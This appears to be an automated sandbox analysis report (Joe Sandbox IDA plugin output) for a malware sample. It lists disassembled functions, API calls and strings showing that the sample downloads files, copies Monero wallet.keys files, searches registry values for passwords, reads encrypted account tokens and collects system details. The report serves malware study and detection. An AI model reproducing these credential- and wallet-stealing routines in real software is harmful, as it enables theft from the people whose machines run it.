Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 263a2fd94954516ed8bdca096b655b9b6a0a6e79db320d6a299a751e35e3502b
Instruction ID: d0b6ce5beaa45ba40e8219f8886eaf0dec2d32dd74162bcce9619a732fac870b
Opcode Fuzzy Hash: 263a2fd94954516ed8bdca096b655b9b6a0a6e79db320d6a299a751e35e3502b
Instruction Fuzzy Hash: 74514430950148EBCB18FF64CD96EED7779AF20301F904019F8066B292EF34AB45DBA6

Function 001C60A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001C4839
Part of subcall function 001C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001C4849

InternetOpenA.WININET(001E0DF7,00000001,00000000,00000000,00000000), ref: 001C610F
StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001C618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001C61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001C61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001C620A
CloseHandle.KERNEL32(?,?,00000400), ref: 001C6249
InternetCloseHandle.WININET(?), ref: 001C6253
InternetCloseHandle.WININET(00000000), ref: 001C6260

Strings

(, xrefs: 001C6139

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: (
API String ID: 2507841554-2408637067
Opcode ID: a8979e8117faafb21d48da2b541f69e72e5528f290d6e0858afda0feb8de30c1
Instruction ID: f7bb18dd6ad4da4483ae7db160bab8219b40b6e7bcd9f6cbd505d300e665de7f
Opcode Fuzzy Hash: a8979e8117faafb21d48da2b541f69e72e5528f290d6e0858afda0feb8de30c1
Instruction Fuzzy Hash: 86516EB1900218ABDB20DF90DD45FEE77B8EF54701F1080A8A605A7180DB74AA85CF99

Function 001D12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 11b597036127829a338d5cce3ea08b6d3b4ed9d84b18160f45e1272c54825022
Instruction ID: d15f8be040c511741f54015adffa0d635f4eec132bd5d1f1c30c2a22b1d65741
Opcode Fuzzy Hash: 11b597036127829a338d5cce3ea08b6d3b4ed9d84b18160f45e1272c54825022
Instruction Fuzzy Hash: 82C1B8B5940219ABCB14EF60DD89FEE7378BF64304F004599F50A67381EB70AA85CF95

Function 001D4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001D8E0B

lstrcat.KERNEL32(?,00000000), ref: 001D42EC
lstrcat.KERNEL32(?,00E3DF68), ref: 001D430B
lstrcat.KERNEL32(?,?), ref: 001D431F
lstrcat.KERNEL32(?,00E3D0F0), ref: 001D4333

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001D8D90: GetFileAttributesA.KERNEL32(00000000,?,001C1B54,?,?,001E564C,?,?,001E0E1F), ref: 001D8D9F

Part of subcall function 001C9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001C9D39

Part of subcall function 001C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
Part of subcall function 001C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
Part of subcall function 001C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
Part of subcall function 001C99C0: ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
Part of subcall function 001C99C0: LocalFree.KERNEL32(001C148F), ref: 001C9A90
Part of subcall function 001C99C0: CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

Part of subcall function 001D93C0: GlobalAlloc.KERNEL32(00000000,001D43DD,001D43DD), ref: 001D93D3

StrStrA.SHLWAPI(?,00E3E0D0), ref: 001D43F3
GlobalFree.KERNEL32(?), ref: 001D4512

Part of subcall function 001C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9AEF
Part of subcall function 001C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001C4EEE,00000000,?), ref: 001C9B01
Part of subcall function 001C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9B2A
Part of subcall function 001C9AC0: LocalFree.KERNEL32(?,?,?,?,001C4EEE,00000000,?), ref: 001C9B3F

lstrcat.KERNEL32(?,00000000), ref: 001D44A3
StrCmpCA.SHLWAPI(?,001E08D1), ref: 001D44C0
lstrcat.KERNEL32(00000000,00000000), ref: 001D44D2
lstrcat.KERNEL32(00000000,?), ref: 001D44E5
lstrcat.KERNEL32(00000000,001E0FB8), ref: 001D44F4

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 743f238b23dcdafc764a2a9ce5fa4f08c18c431525f21cfe7faa0dda00a6c834
Instruction ID: 69fda7a01610cc7d3d1a7e2854bc4da5a0b740ac7491de670ab64febed19215f
Opcode Fuzzy Hash: 743f238b23dcdafc764a2a9ce5fa4f08c18c431525f21cfe7faa0dda00a6c834
Instruction Fuzzy Hash: A67166B6900218ABCB14FBA0DC99FEE7379AF98300F008599F605A7181EB75DB55CF91

Function 001C1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001C12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C12B4
Part of subcall function 001C12A0: RtlAllocateHeap.NTDLL(00000000), ref: 001C12BB
Part of subcall function 001C12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001C12D7
Part of subcall function 001C12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001C12F5
Part of subcall function 001C12A0: RegCloseKey.ADVAPI32(?), ref: 001C12FF

lstrcat.KERNEL32(?,00000000), ref: 001C134F
lstrlen.KERNEL32(?), ref: 001C135C
lstrcat.KERNEL32(?,.keys), ref: 001C1377

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D8B60: GetSystemTime.KERNEL32(001E0E1A,00E3A280,001E05AE,?,?,001C13F9,?,0000001A,001E0E1A,00000000,?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001D8B86

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 001C1465

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
Part of subcall function 001C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
Part of subcall function 001C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
Part of subcall function 001C99C0: ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
Part of subcall function 001C99C0: LocalFree.KERNEL32(001C148F), ref: 001C9A90
Part of subcall function 001C99C0: CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

DeleteFileA.KERNEL32(00000000), ref: 001C14EF

Strings

\Monero\wallet.keys, xrefs: 001C138D
.keys, xrefs: 001C136B
SOFTWARE\monero-project\monero-core, xrefs: 001C1335
wallet_path, xrefs: 001C1330

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 83da66559a7cfb189cb7e804e90705af649cecf02309f7a8c29ad8286d0668b4
Instruction ID: 808c0fcb0b31fdd8df6f84fb5ad587b7cd3fe4b345a67b0c2c82b1b44888b829
Opcode Fuzzy Hash: 83da66559a7cfb189cb7e804e90705af649cecf02309f7a8c29ad8286d0668b4
Instruction Fuzzy Hash: CE5157B1D5015957CB15FB60DD92FED737CAF64300F8041A9B60A62182EF706B85CFA6

Function 001C75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001C72D0: memset.MSVCRT ref: 001C7314
Part of subcall function 001C72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 001C733A
Part of subcall function 001C72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001C73B1
Part of subcall function 001C72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001C740D
Part of subcall function 001C72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 001C7452
Part of subcall function 001C72D0: HeapFree.KERNEL32(00000000), ref: 001C7459

lstrcat.KERNEL32(00000000,001E17FC), ref: 001C7606
lstrcat.KERNEL32(00000000,00000000), ref: 001C7648
lstrcat.KERNEL32(00000000, : ), ref: 001C765A
lstrcat.KERNEL32(00000000,00000000), ref: 001C768F
lstrcat.KERNEL32(00000000,001E1804), ref: 001C76A0
lstrcat.KERNEL32(00000000,00000000), ref: 001C76D3
lstrcat.KERNEL32(00000000,001E1808), ref: 001C76ED
task.LIBCPMTD ref: 001C76FB

Strings

: , xrefs: 001C764E

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 8f9657cf2b4a50c3923ae7150a60a7ab076db5d197b41ff9cf51312a4ef105d7
Instruction ID: 8e2cea0fe2f44280483a916a627d2a918bc0b9fa1eded31960ce1b7a6471ee4b
Opcode Fuzzy Hash: 8f9657cf2b4a50c3923ae7150a60a7ab076db5d197b41ff9cf51312a4ef105d7
Instruction Fuzzy Hash: 87316E72900209EFCB08EBB5DD85EFE73B8BB64301B144528F102B7290DB34E956CB55

Function 001C72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001C7314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 001C733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001C73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001C740D
GetProcessHeap.KERNEL32(00000000,?), ref: 001C7452
HeapFree.KERNEL32(00000000), ref: 001C7459
task.LIBCPMTD ref: 001C7555

Strings

Password, xrefs: 001C7401

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 983efe550947f7bd7b6706bea103f31df3699e89ecde1e6c3ca32747da8ec2cb
Instruction ID: 1d8d2ea39a9085014b83ecbf02f6b577c8face05f7648f10d8425b6f276a5ee8
Opcode Fuzzy Hash: 983efe550947f7bd7b6706bea103f31df3699e89ecde1e6c3ca32747da8ec2cb
Instruction Fuzzy Hash: 6B611EB59142589BDB24DB50CC95FDAB7B8BF64300F0081E9E689A6181DFB09FC9CF91

Function 001D8100 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E3E4A8,00000000,?,001E0E2C,00000000,?,00000000), ref: 001D8130
RtlAllocateHeap.NTDLL(00000000), ref: 001D8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001D8158
wsprintfA.USER32 ref: 001D81AC

Strings

%d MB, xrefs: 001D81A3
@, xrefs: 001D814D
h, xrefs: 001D819B, 001D819E

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@$h
API String ID: 2922868504-3650706056
Opcode ID: 260e3d115d29cb3b08f6e6237d07c5aa3b3480db3889253087d6be010c814b10
Instruction ID: 5a04cefcc117879435696b5368a088aff9f5374cf944092c52156367cf6930c6
Opcode Fuzzy Hash: 260e3d115d29cb3b08f6e6237d07c5aa3b3480db3889253087d6be010c814b10
Instruction Fuzzy Hash: 88214AB1E44318ABDB04DFD4DD49FAEB7B8FB44B00F10461AF605BB280C77869058BA9

Function 001D7690 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D76A4
RtlAllocateHeap.NTDLL(00000000), ref: 001D76AB
RegOpenKeyExA.ADVAPI32(80000002,00E2C428,00000000,00020119,00000000), ref: 001D76DD
RegQueryValueExA.ADVAPI32(00000000,00E3E430,00000000,00000000,?,000000FF), ref: 001D76FE
RegCloseKey.ADVAPI32(00000000), ref: 001D7708

Strings

Windows 11, xrefs: 001D76BD
0, xrefs: 001D76F3

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: 0$Windows 11
API String ID: 3225020163-921549449
Opcode ID: d28db8bf3ece67f8792c40fe3cbc7fad327e60e7b4508b4bc466b2b511e8a0d8
Instruction ID: 800dc35e8be4a57a678a3c17a0700132c38095da6ed6e6e8b8c66492a4a47d54
Opcode Fuzzy Hash: d28db8bf3ece67f8792c40fe3cbc7fad327e60e7b4508b4bc466b2b511e8a0d8
Instruction Fuzzy Hash: A80162B5A04304BBE700EBE4DE4DF6EB7B8EB48701F108465FA04E72D1E77099148B55

Function 001CBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

lstrlen.KERNEL32(00000000), ref: 001CBC9F

Part of subcall function 001D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001D8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 001CBCCD
lstrlen.KERNEL32(00000000), ref: 001CBDA5
lstrlen.KERNEL32(00000000), ref: 001CBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 001CBBEB
AccountTokens, xrefs: 001CBABA
AccountId, xrefs: 001CBCC4
AccountTokens, xrefs: 001CBB49

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
